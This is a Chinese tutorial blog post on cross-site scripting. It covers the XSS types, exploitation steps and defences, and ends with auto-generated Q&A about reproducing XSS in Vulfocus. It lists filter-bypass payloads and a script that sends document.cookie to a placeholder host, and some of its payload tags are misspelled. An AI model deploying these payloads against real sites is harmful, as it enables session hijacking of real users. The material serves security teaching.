【Web漏洞探索】跨站脚本漏洞


请添加图片描述

一、什么是跨站脚本漏洞

跨站脚本(Cross-site scripting简称为"CSS",为避免与前端叠成样式表的缩写"CSS"冲突,故称为XSS)允许攻击者破坏用户与易受攻击的应用程序的交互。它允许攻击者绕过同源策略,该策略旨在将不同的网站相互隔离。跨站点脚本漏洞通常允许攻击者伪装成受害者用户,执行用户能够执行的任何操作,并访问用户的任何数据。如果受害者用户在应用程序中具有特权访问权限,那么攻击者可能能够完全控制应用程序的所有功能和数据。

二、跨站脚本漏洞成因

形成XSS漏洞的主要原因是程序对输入与输出的控制不够严格,导致精心构造的脚本输入后在输出到前端时被浏览器当作有效代码进行解析从而产生危害。

一般XSS可以分为如下几种常见类型

  1. 反射性XSS

交互的数据一般不存放于数据库中,是一次性的响应,所见即所得,一般出现在信息查询、显示页面等。

  1. 存储型XSS

一般与数据库、文件之间存在数据交互,永久性存储,常出现在留言板、注册等界面。

  1. DOM型XSS

DOM(Document Object Model)型XSS类似于反射型,漏洞存在于客户端代码而不是服务器端代码中,通过DOM操作前端代码输出的时候产生的问题。使用DOM可以使程序和脚本能够动态访问和更新文档的内容、结构及样式。

请添加图片描述

三、漏洞攻击利用手法

XSS漏洞利用步骤
  1. 用户访问XSS页面,触发XSS脚本,服务器返回“带恶意JS”的页面
  2. 客户端执行脚本,发送窃取到的cookie
  3. 攻击者使用窃取到的cookie伪造用户登录,造成破坏
XSS常用语句
<scirpt>alert(xss)</scirpt>
<ScirPt>alert(xss)</ScirPt> // 大小写绕过
<scirpt>eval(atob('YWxlcnQoeHNzKQ=='))</scirpt> // 加密绕过
javascript:alert(document.cookie) // javascript伪协议绕过
<img src=xss onerror=alert(xss)>
<svg onload=alert(xss)>
<a href=javascript:alert(xss)>
<script>document.location = 'http://test.com/cookie.php?cookie=' +document.cookie;</script>

另外,HTML5引入了许多新标签,例如<audio>、<video>、<canvas>、<article>及<footer>等,这些新标签所对应的属性,例如poster、autofocus、onerror、formaction及oninput等,都是可以用来构造跨站脚本漏洞代码的。

反射型XSS

反射型XSS是最简单的跨站点脚本。当应用程序接收到HTTP请求中的数据并以不安全的方式将该数据包含在即时响应中时,就会出现这种情况。

攻击者通过电子邮件、XSS恶意平台回连等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接收该目标用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。

存储的XSS

当应用程序从不受信任的来源接收数据并以不安全的方式将该数据包含在其以后的HTTP响应中时,就会出现存储型XSS(也称为持久性或二阶XSS)。

往往存在于论坛、博客和留言板,攻击者在发帖时将恶意脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意脚本也永久地被存放在服务器后端存储中,当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本会在他们的浏览器中得到执行。

基于DOM的XSS

基于DOM的XSS(也称为DOM XSS)在应用程序包含一些客户端JavaScript时出现,该JavaScript以不安全的方式处理来自不受信任源的数据,通常通过将数据写回DOM。

用户请求一个经过专门设计的URL,其中包含XSS代码提交后。服务器的响应不会以任何形式包含攻击者的脚本。当用户的浏览器处理这个响应时,DOM对象就会处理XSS代码,导致存在XSS漏洞。

Cookie欺骗流程

Cookie欺骗的具体流程如下

  • 使用XSS漏洞远程获取受害者的Cookie
  • 本地使用普通用户登录系统,服务器会在该普通用户的本地生成该用户对应的Cookie
  • HTTP头中存放用户对应的Cookie字段及Cookie值
  • 使用XSS获取的admin用户的Cookie值替换该处普通用户的Cookie值
  • 发送替换后的数据报文,admin用户登录成功

四、修复以及预防

加强对用户输入的验证

对用户输入的特殊字符进行严格过滤,如'、"、<、>、/、*、;、+、-、&、|、(、)、and、or、select、union、drop、delete

htmlspecialchars()

htmlspecialchars()函数用于过滤XSS,把预定义的字符转换为HTML实体。

htmlspecialchars(string,flags,character-set,double_encode)

第二个参数flags须注意,使用htmlspecialchars()函数不当仍然可以在过滤XSS时被绕过。由于flags参数对于引号的编码如下

  • ENT_COMPAT - 默认,仅编码双引号。
  • ENT_QUOTES - 编码双引号和单引号。
  • ENT_NOQUOTES - 不编码任何引号。
Cookie防盗

避免直接在cookie中泄露用户隐私,例如email、密码、账号信息等。其次通过使cookie和系统ip绑定来降低cookie泄露后的危险。这样攻击者得到的cookie没有实际价值,不能拿来重放。

输出上编码数据

在HTTP响应中输出用户可控数据时,对输出进行编码以防止其被解释为恶意内容。根据输出上下文,这可能需要应用HTMLURLJavaScriptCSS编码的组合。

使用响应标头

为防止HTTP响应中不包含任何HTMLJavaScript的XSS,可以使用Content-TypeX-Content-Type-Options标头来确保浏览器以这种方式响应。

内容安全政策

作为最后一道防线,可以使用内容安全策略(CSP,Content Security Policy)来降低仍然发生XSS漏洞的严重性。

五、XSS和CSRF的区别

定义

XSS跨站脚本是一种网站应用程序的安全漏洞攻击,是代码注入的一种。允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。

CSRF跨站请求伪造也被称为one-click attacksession riding,是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法,完成一些违背用户意愿的请求(如恶意发帖、删帖、改密码、发邮件等)。

区别

虽然这两个词常常一起出现,但他们的目的是不一样的。XSS更偏向于方法论,CSRF更偏向于一种形式,只要是伪造用户发起的请求,都可成为CSRF攻击。XSS是获取用户的凭证信息,而CSRF是直接利用。

通常来说CSRF是由XSS实现的,所以CSRF时常也被称为XSRF(用XSS的方式实现伪造请求),但实现的方式不止一种,还可以直接通过命令行模式(敲命令来发起请求)直接伪造请求(只要通过合法验证即可)。

XSS则更偏向于代码实现(即写一段拥有跨站请求功能的JavaScript脚本注入到一条帖子里,然后有用户访问了这个帖子,这就算是中了XSS攻击了),CSRF更偏向于一个攻击结果,只要发起了冒牌的请求就算是CSRF了。

六、附录

参考链接:
https://portswigger.net/web-security/cross-site-scripting
https://blog.csdn.net/qq_45590334/article/details/112263958
https://mp.weixin.qq.com/s/CfeTI4jfHemV8cSASYCa0w
https://ssthouse.github.io/visual-explain/#/list/domRender
https://www.php.net/htmlspecialchars

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
### 回答1: vulfocus是一款用于漏洞复现和漏洞管理的工具。在复现vulfocus跨站脚本漏洞时,首先需要安装和配置vulfocus工具。然后,我们可以通过以下步骤进行漏洞的复现: 1. 打开vulfocus的Web界面,登录到系统中。 2. 在漏洞列表中,选择跨站脚本漏洞XSS漏洞)进行复现。 3. 在目标列表中选择一个目标进行测试。可以选择一个虚拟机,或者一个虚拟环境中的网站。 4. 点击“开始测试”按钮,vulfocus将开始对目标进行扫描和测试。 5. 在扫描结果中,寻找可能存在的跨站脚本漏洞的URL。 6. 点击URL链接,可以进入漏洞细节页面,查看漏洞的详细信息。 7. 根据漏洞的描述和建议,尝试利用该漏洞进行跨站脚本攻击。 8. 可以通过修改URL参数、输入恶意脚本等方式触发漏洞。 9. 观察攻击结果,确认是否成功执行跨站脚本攻击。 10. 根据漏洞复现的结果,可以采取相应的修复措施来修复漏洞。 以上是基本的vulfocus跨站脚本漏洞复现的步骤。需要注意的是,在进行漏洞复现时,应遵守相关法律法规,只在授权的目标上进行测试,并且避免对真实环境造成任何损害。漏洞复现仅用于学习和研究目的。 ### 回答2: vulfocus是一款漏洞扫描工具,其中包含了很多常见的网络安全漏洞。其中之一就是跨站脚本XSS漏洞。为了复现vulfocus中的跨站脚本漏洞,可以按照以下步骤进行: 1. 下载并安装vulfocus:根据vulfocus的官方网站提供的安装说明,下载并安装vulfocus。 2. 配置目标网站:在vulfocus的配置文件中,指定一个目标网站进行漏洞扫描。确保目标网站允许测试环境中的XSS漏洞。 3. 开始漏洞扫描:使用vulfocus的命令行工具或者图形界面,开始对目标网站进行漏洞扫描。 4. 等待扫描结果:vulfocus会自动扫描目标网站中的各种漏洞,并生成报告。 5. 查看XSS漏洞复现:在扫描报告中,找到XSS漏洞相关的信息。 6. 复现XSS漏洞:使用漏洞扫描报告中提供的漏洞细节和示例,复现XSS漏洞。例如,可以使用一个带有恶意脚本的URL,然后在目标网站上执行该URL。这样就可以看到XSS漏洞造成的影响,如弹出恶意弹窗、窃取用户信息等。 需要注意的是,复现漏洞时务必遵守法律法规和道德规范,只在由授权的环境中进行漏洞测试,以避免对真实的网站和用户造成伤害。 ### 回答3: Vulfocus是一款常用于漏洞复现和安全测试的工具。其中的跨站脚本XSS漏洞是一种常见的网络安全问题,通过该漏洞攻击者可以在受害者的浏览器中注入恶意代码,对用户进行钓鱼、窃取和篡改数据等恶意行为。 要复现Vulfocus中的跨站脚本漏洞,可以按照以下步骤进行: 1. 安装和配置Vulfocus:首先,在支持Docker的操作系统中安装Docker,然后从GitHub上获取Vulfocus的源代码并进行配置。 2. 寻找漏洞目标:使用Vulfocus可以扫描和寻找可能存在跨站脚本漏洞的目标网站。可以通过修改配置文件或使用命令行参数来设置目标网站。 3. 执行漏洞检测:使用Vulfocus可以执行一系列的漏洞检测模块,其中就包括了跨站脚本漏洞的检测。 4. 复现漏洞:如果Vulfocus发现了目标网站存在跨站脚本漏洞,可以通过点击相关的复现按钮来尝试复现漏洞。在复现漏洞时,Vulfocus通常会使用一些已知的攻击向量,如代码注入、HTML标签注入等。 需要注意的是,在进行漏洞复现时,应严格遵守法律和伦理规范,只在合法授权的环境中进行测试,避免对他人的系统和数据造成损害。 总之,通过Vulfocus可以方便地进行跨站脚本漏洞的复现和测试,帮助安全人员及时发现和修复漏洞,提高网络安全性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

byzf

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值